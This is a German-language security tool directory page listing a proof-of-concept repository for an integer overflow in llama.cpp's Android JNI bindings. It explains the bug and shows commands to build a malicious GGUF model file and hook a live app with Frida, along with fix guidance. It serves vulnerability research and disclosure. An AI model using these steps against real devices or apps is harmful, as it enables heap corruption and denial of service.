Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow — Reproduziert den Integer-Überlauf CVE-2026-70638 in llama.cpp Android JNI mit einer sicheren Arithmetik-Demo, einem schädlichen GGUF-Generator und einem Frida-Hook für autorisierte Sicherheitsforschung. | Kitploit
Tools/GitHubGitHub/hunt-benito/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow
Android-SicherheitPayload-GenerierungSchwachstellenanalyseDynamische Code-Analyse (DAST)ExploitationLernen & Bildung
GitHubhunt-benito/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow

one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Reproduziert den Integer-Überlauf CVE-2026-70638 in llama.cpp Android JNI mit einer sicheren Arithmetik-Demo, einem schädlichen GGUF-Generator und einem Frida-Hook für autorisierte Sicherheitsforschung.

Repository anzeigen
7vor 1 MonatNoch nicht geprüft

CVE-2026-70638 - llama.cpp LLaMA-Android JNI Integer Overflow

Begleitender PoC zum Hunt-Benito-Artikel „Eine Multiplikation zu viel: CVE-2026-70638 — Integer Overflow in der Android-JNI-Heap-Zuweisung von llama.cpp" → https://www.hunt-benito.com/blog/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow/

Der Fehler

Java_android_llama_cpp_LLamaAndroid_new_1batch() in examples/llama.android/llama/src/main/cpp/llama-android.cpp (llama.cpp-Builds b1886–b7445) ist eine manuelle Kopie von llama_batch_init(), die mehrere ungeprüfte malloc(sizeof(T) * count)-Berechnungen durchführt. Wenn ein angreiferkontrollierter Multiplikator (n_seq_max, n_tokens oder embd) verwendet wird, läuft die Größenberechnung über, der Heap-Block ist zu klein, und die anschließenden Schreibvorgänge des Aufrufers lassen ihn überlaufen (CWE-190 → CWE-122). NVD CVSS 3.1 7.8 High (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Der verwundbare Kern der Funktion:

root@kitploit:~
batch->seq_id[i] = (llama_seq_id *) malloc(sizeof(llama_seq_id) * n_seq_max);

Dateien

Ausführen

root@kitploit:~
# 1. Arithmetic demonstrator (the core of the article's PoC)
cc -O2 -o overflow_demo overflow_demo.c
./overflow_demo

# 2. Malicious model file
python3 craft_gguf.py 0x40000001 malicious.gguf   # -> 416-byte GGUF
xxd malicious.gguf | head                           # verify magic 'GGUF' + key

# 3. Live hook (rooted/emulator device with frida-server, authorized target only)
frida -U -l hook_new_batch.js -f <package> --no-pause

Erwartete Demo-Ausgabe (Auszug)

root@kitploit:~
[2] Malicious: n_seq_max = 0x40000000 (2^30). 4 * 2^30 = 2^32 -> wraps:
  n_seq_max (attacker)   = 1073741824 (0x40000000)
  malloc size, arm64     = 4294967296 bytes (4.00 GiB)
  malloc size, armeabi-v7a = 0 bytes
  caller believes it got = 4294967296 bytes
  >>> 32-bit WRAP: 4294967296-byte write into 0-byte heap block (CWE-122)

Hinweise zu Umfang und Genauigkeit

  • Der Überlauf zu einer zu kleinen Zuweisung ist auf 32-Bit-ABIs (armeabi-v7a, nach wie vor ausgeliefert) direkt erreichbar. Auf 64-Bit (arm64-v8a) fordert derselbe ungeprüfte Ausdruck stattdessen einen Multi-GiB-Block an, bei dem malloc fehlschlägt (NULL → späterer Absturz / DoS); Heap-Korruption erfordert den 32-Bit-Pfad.
  • overflow_demo.c führt keinen Out-of-Bounds-Schreibzugriff aus — es beweist nur, dass die Arithmetik überläuft. craft_gguf.py erzeugt ein nicht ausführbares Modell (keine Tensoren) und lässt sich daher nicht direkt als Waffe einsetzen; es demonstriert, dass der angreiferkontrollierte Multiplikator aus nicht vertrauenswürdigen Metadaten stammt.

Behebung

Aktualisieren Sie llama.cpp auf b7446 oder neuer (der new_1batch-JNI-Pfad wurde durch die Neufassung der Android-Anbindungen entfernt). Falls Sie auf einem betroffenen Build oder einem Downstream-Fork bleiben müssen, wenden Sie Cyeras Validierungs-Patch von https://github.com/Vladimir-tokarev-cyera/llama-cpp-security-patches an (die CVE-2026-43627-Batch-Init-Absicherung ist der kanonische Fix für diese Bug-Klasse).

Quellen

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-70638
  • Fix (Neufassung) — https://github.com/ggml-org/llama.cpp/commit/5c0d18881e0e9794c96b2602736b758bac9d9388
  • Betroffener Quellcode — https://github.com/ggml-org/llama.cpp/blob/b7445/examples/llama.android/llama/src/main/cpp/llama-android.cpp

NUR FÜR AUTORISIERTE SICHERHEITSFORSCHUNG UND BILDUNGSZWECKE.

Tool herunterladen
DateiZweck
overflow_demo.cEigenständiger Reproduktor der überlaufenden Größenarithmetik unter 32-Bit (armeabi-v7a) im Vergleich zu 64-Bit (arm64-v8a) size_t. Kein korrupter Schreibvorgang — überall sicher ausführbar.
craft_gguf.pyErstellt ein minimales, strukturell gültiges GGUF, bei dem llama.embedding_length auf einen Angreiferwert gesetzt ist, und zeigt damit den Zustellungsvektor über die Modelldatei (embd wird direkt aus nicht vertrauenswürdigen Metadaten gelesen).
hook_new_batch.jsFrida-Hook, der die drei Multiplikanden an der Live-JNI-Grenze auf einem Forschungsgerät protokolliert/überschreibt.